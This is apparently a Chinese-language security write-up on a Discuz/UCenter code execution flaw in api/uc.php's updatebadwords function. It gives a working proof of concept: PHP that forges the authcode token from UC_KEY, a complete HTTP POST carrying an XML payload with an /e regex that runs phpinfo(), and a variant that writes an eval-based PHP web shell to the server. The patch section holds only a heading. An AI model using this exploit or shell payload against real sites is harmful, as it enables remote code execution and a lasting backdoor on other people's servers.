discuz小于R20150609后台代码执行漏洞

测试版本

<3.2.R20150609
<3.1.R20141225
<3.0.R20150609
<2.5.R20141225

漏洞描述

在检查用户名安全性时,含有未安全过滤的用户自定义正则表达式,通过/e执行代码。

漏洞分析

这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function updatebadwords($get, $post) {
global $_G;

if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
}

$data = array();
if(is_array($post)) {
foreach($post as $k => $v) {
// if(substr($v['findpattern'], 0, 1) != '/' || substr($v['findpattern'], -3) != '/is') {
// $v['findpattern'] = '/' . preg_quote($v['findpattern'], '/') . '/is';
// }
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
}
}
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "<?php\r\n";
$s .= '$_CACHE[\'badwords\'] = '.var_export($data, TRUE).";\r\n";
fwrite($fp, $s);
fclose($fp);

return API_RETURN_SUCCEED;
}

其中$post参数是可以自定义的xml内容,读取xml内容可以赋值findpattern和replace给$_CACHE[‘badwords’],写入badwords文件。

1
2
include_once DISCUZ_ROOT.'./uc_client/lib/xml.class.php';
$post = xml_unserialize(file_get_contents('php://input'));

xml格式如下定义,见/uc_client/lib/xml.class.php

追溯$_CACHE[‘badwords’],发现pm.php和user.php调用,见uc_server\model\user.php

uc_server\control\user.php调用check_usernamecensor函数

1
2
3
4
5
6
7
8
9
10
11
function _check_username($username) {
$username = addslashes(trim(stripslashes($username)));
if(!$_ENV['user']->check_username($username)) {
return UC_USER_CHECK_USERNAME_FAILED;
} elseif(!$_ENV['user']->check_usernamecensor($username)) {
return UC_USER_USERNAME_BADWORD;
} elseif($_ENV['user']->check_usernameexists($username)) {
return UC_USER_USERNAME_EXISTS;
}
return 1;
}

uc_server\control\user.php onregister函数调用_check_username,即用户名注册处

漏洞POC

1.首先获取后台账号密码
2.在站长->UC设置处获取UC_KEY,修改本地uc.php,代码如下

1
2
3
$a = 'time='.time().'&action=updatebadwords';
$code = authcode($a, 'ENCODE', 'UC_KEY');
echo $code;exit; //0ec8dgUQLu4mW3ECCTjNWV2olxsYlQa4AR/auHtetfhsjxcp2fOL5JAkwSx1SMdpMoYcKWsuPUJEs9Qkzm9e14Le

3.请求获取加密后code值,然后用post方法向api/uc.php发送带有正则表达式的xml数据包,刚才获取的code需要进行一次url编码,否则解密会出现问题。数据包如下图所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /dz3.0/api/uc.php?code=0ec8dgUQLu4mW3ECCTjNWV2olxsYlQa4AR/auHtetfhsjxcp2fOL5JAkwSx1SMdpMoYcKWsuPUJEs9Qkzm9e14Le HTTP/1.1
Host: 192.168.20.89
Proxy-Connection: keep-alive
Content-Length: 194
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.20.89
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2415.0 Safari/537.36
Content-Type: text/xml
Referer: http://192.168.120.89/dz3.0/admin.php?action=setting&operation=uc
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

<?xml version="1.0" encoding="ISO-8859-1"?>
<root>
<item id="balabala">
<item id="findpattern">/.*/e</item>
<item id="replacement">phpinfo();</item>
</item>
</root>

1
//写文件:<item id="replacement">fwrite(fopen("test.php","a+"),"&lt;?php @eval(\$_POST['a']);//?>");</item>


此时uc_client\data\cache\badwords.php文件生成

4.增加用户触发漏洞

漏洞修复

官方补丁
api/uc.php